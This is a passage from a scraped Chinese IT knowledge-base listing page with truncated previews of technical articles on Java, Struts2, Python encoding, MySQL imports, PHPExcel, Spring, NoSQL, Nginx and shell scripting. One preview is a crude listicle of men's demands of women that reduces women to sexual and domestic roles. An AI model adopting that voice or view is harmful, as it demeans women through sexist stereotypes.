title="有一个数组,每次从中间随机取一个,然后放回去,当所有的元素都被取过,返回总共的取的次数。写一个函数实现。复杂度是什么。" target="_blank">有一个数组,每次从中间随机取一个,然后放回去,当所有的元素都被取过,返回总共的取的次数。写一个函数实现。复杂度是什么。</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a> <div> import java.util.Random; import java.util.Set; import java.util.TreeSet; /** * http://weibo.com/1915548291/z7HtOF4sx * #面试题#有一个数组,每次从中间随机取一个,然后放回去,当所有的元素都被取过,返回总共的取的次数。 * 写一个函数实现。复杂度是什么</div> </li> <li><a href="/article/2180.htm" title="struts2获得request、session、application方式" target="_blank">struts2获得request、session、application方式</a> <span class="text-muted">chiangfai</span> <a class="tag" taget="_blank" href="/search/application/1.htm">application</a> <div>1、与Servlet API解耦的访问方式。 a.Struts2对HttpServletRequest、HttpSession、ServletContext进行了封装,构造了三个Map对象来替代这三种对象要获取这三个Map对象,使用ActionContext类。 ----->   package pro.action; import java.util.Map; imp</div> </li> <li><a href="/article/2307.htm" title="改变python的默认语言设置" target="_blank">改变python的默认语言设置</a> <span class="text-muted">chenchao051</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a> <div> import sys sys.getdefaultencoding()  可以测试出默认语言,要改变的话,需要在python lib的site-packages文件夹下新建: sitecustomize.py, 这个文件比较特殊,会在python启动时来加载,所以就可以在里面写上: import sys sys.setdefaultencoding('utf-8') &n</div> </li> <li><a href="/article/2434.htm" title="mysql导入数据load data infile用法" target="_blank">mysql导入数据load data infile用法</a> <span class="text-muted">daizj</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E5%AF%BC%E5%85%A5%E6%95%B0%E6%8D%AE/1.htm">导入数据</a> <div>我们常常导入数据!mysql有一个高效导入方法,那就是load data infile 下面来看案例说明 基本语法: load data  [low_priority] [local] infile 'file_name txt' [replace | ignore] into table tbl_name [fields [terminated by't'] [OPTI</div> </li> <li><a href="/article/2561.htm" title="phpexcel导入excel表到数据库简单入门示例" target="_blank">phpexcel导入excel表到数据库简单入门示例</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/Excel/1.htm">Excel</a> <div> 跟导出相对应的,同一个数据表,也是将phpexcel类放在class目录下,将Excel表格中的内容读取出来放到数据库中 <?php error_reporting(E_ALL); set_time_limit(0); ?> <html> <head> <meta http-equiv="Content-Type" </div> </li> <li><a href="/article/2688.htm" title="22岁到72岁的男人对女人的要求" target="_blank">22岁到72岁的男人对女人的要求</a> <span class="text-muted">dcj3sjt126com</span> <div>22岁男人对女人的要求是:一,美丽,二,性感,三,有份具品味的职业,四,极有耐性,善解人意,五,该聪明的时候聪明,六,作小鸟依人状时尽量自然,七,怎样穿都好看,八,懂得适当地撒娇,九,虽作惊喜反应,但看起来自然,十,上了床就是个无条件荡妇。 32岁的男人对女人的要求,略作修定,是:一,入得厨房,进得睡房,二,不必服侍皇太后,三,不介意浪漫蜡烛配盒饭,四,听多过说,五,不再傻笑,六,懂得独</div> </li> <li><a href="/article/2815.htm" title="Spring和HIbernate对DDM设计的支持" target="_blank">Spring和HIbernate对DDM设计的支持</a> <span class="text-muted">e200702084</span> <a class="tag" taget="_blank" href="/search/DAO/1.htm">DAO</a><a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a><a class="tag" taget="_blank" href="/search/%E9%A2%86%E5%9F%9F%E6%A8%A1%E5%9E%8B/1.htm">领域模型</a> <div>A:数据访问对象     DAO和资源库在领域驱动设计中都很重要。DAO是关系型数据库和应用之间的契约。它封装了Web应用中的数据库CRUD操作细节。另一方面,资源库是一个独立的抽象,它与DAO进行交互,并提供到领域模型的“业务接口”。    资源库使用领域的通用语言,处理所有必要的DAO,并使用领域理解的语言提供对领域模型的数据访问服务。</div> </li> <li><a href="/article/2942.htm" title="NoSql 数据库的特性比较" target="_blank">NoSql 数据库的特性比较</a> <span class="text-muted">geeksun</span> <a class="tag" taget="_blank" href="/search/NoSQL/1.htm">NoSQL</a> <div>Redis 是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。目前由VMware主持开发工作。   1. 数据模型 作为Key-value型数据库,Redis也提供了键(Key)和值(Value)的映射关系。除了常规的数值或字符串,Redis的键值还可以是以下形式之一: Lists (列表) Sets</div> </li> <li><a href="/article/3069.htm" title="使用 Nginx Upload Module 实现上传文件功能" target="_blank">使用 Nginx Upload Module 实现上传文件功能</a> <span class="text-muted">hongtoushizi</span> <a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a> <div>转载自: http://www.tuicool.com/wx/aUrAzm   普通网站在实现文件上传功能的时候,一般是使用Python,Java等后端程序实现,比较麻烦。Nginx有一个Upload模块,可以非常简单的实现文件上传功能。此模块的原理是先把用户上传的文件保存到临时文件,然后在交由后台页面处理,并且把文件的原名,上传后的名称,文件类型,文件大小set到页面。下</div> </li> <li><a href="/article/3196.htm" title="spring-boot-web-ui及thymeleaf基本使用" target="_blank">spring-boot-web-ui及thymeleaf基本使用</a> <span class="text-muted">jishiweili</span> <a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/thymeleaf/1.htm">thymeleaf</a> <div>视图控制层代码demo如下:   @Controller @RequestMapping("/") public class MessageController { private final MessageRepository messageRepository; @Autowired public MessageController(Mes</div> </li> <li><a href="/article/3323.htm" title="数据源架构模式之活动记录" target="_blank">数据源架构模式之活动记录</a> <span class="text-muted">home198979</span> <a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a><a class="tag" taget="_blank" href="/search/%E6%B4%BB%E5%8A%A8%E8%AE%B0%E5%BD%95/1.htm">活动记录</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E6%98%A0%E5%B0%84/1.htm">数据映射</a> <div>hello!架构 一、概念 活动记录(Active Record):一个对象,它包装数据库表或视图中某一行,封装数据库访问,并在这些数据上增加了领域逻辑。 对象既有数据又有行为。活动记录使用直截了当的方法,把数据访问逻辑置于领域对象中。   二、实现简单活动记录 活动记录在php许多框架中都有应用,如cakephp。 <?php /** * 行数据入口类 *</div> </li> <li><a href="/article/3450.htm" title="Linux Shell脚本之自动修改IP" target="_blank">Linux Shell脚本之自动修改IP</a> <span class="text-muted">pda158</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/centos/1.htm">centos</a><a class="tag" taget="_blank" href="/search/Debian/1.htm">Debian</a><a class="tag" taget="_blank" href="/search/%E8%84%9A%E6%9C%AC/1.htm">脚本</a> <div>作为一名 Linux SA,日常运维中很多地方都会用到脚本,而服务器的ip一般采用静态ip或者MAC绑定,当然后者比较操作起来相对繁琐,而前者我们可以设置主机名、ip信息、网关等配置。修改成特定的主机名在维护和管理方面也比较方便。如下脚本用途为:修改ip和主机名等相关信息,可以根据实际需求修改,举一反三! #!/bin/sh #auto Change ip netmask ga</div> </li> <li><a href="/article/3577.htm" title="开发环境搭建" target="_blank">开发环境搭建</a> <span class="text-muted">独浮云</span> <a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a><a class="tag" taget="_blank" href="/search/jdk/1.htm">jdk</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a> <div>       最近在开发过程中,经常出现MyEclipse内存溢出等错误,需要重启的情况,好麻烦。对于一般的JAVA+TOMCAT项目开发,其实没有必要使用重量级的MyEclipse,使用eclipse就足够了。尤其是开发机器硬件配置一般的人。         &n</div> </li> <li><a href="/article/3704.htm" title="操作日期和时间的工具类" target="_blank">操作日期和时间的工具类</a> <span class="text-muted">vipbooks</span> <a class="tag" taget="_blank" href="/search/%E5%B7%A5%E5%85%B7%E7%B1%BB/1.htm">工具类</a> <div>   大家好啊,好久没有来这里发文章了,今天来逛逛,分享一篇刚写不久的操作日期和时间的工具类,希望对大家有所帮助。 /* * @(#)DataFormatUtils.java 2010-10-10 * * Copyright 2010 BianJing,All rights reserved. */ package test; impor</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>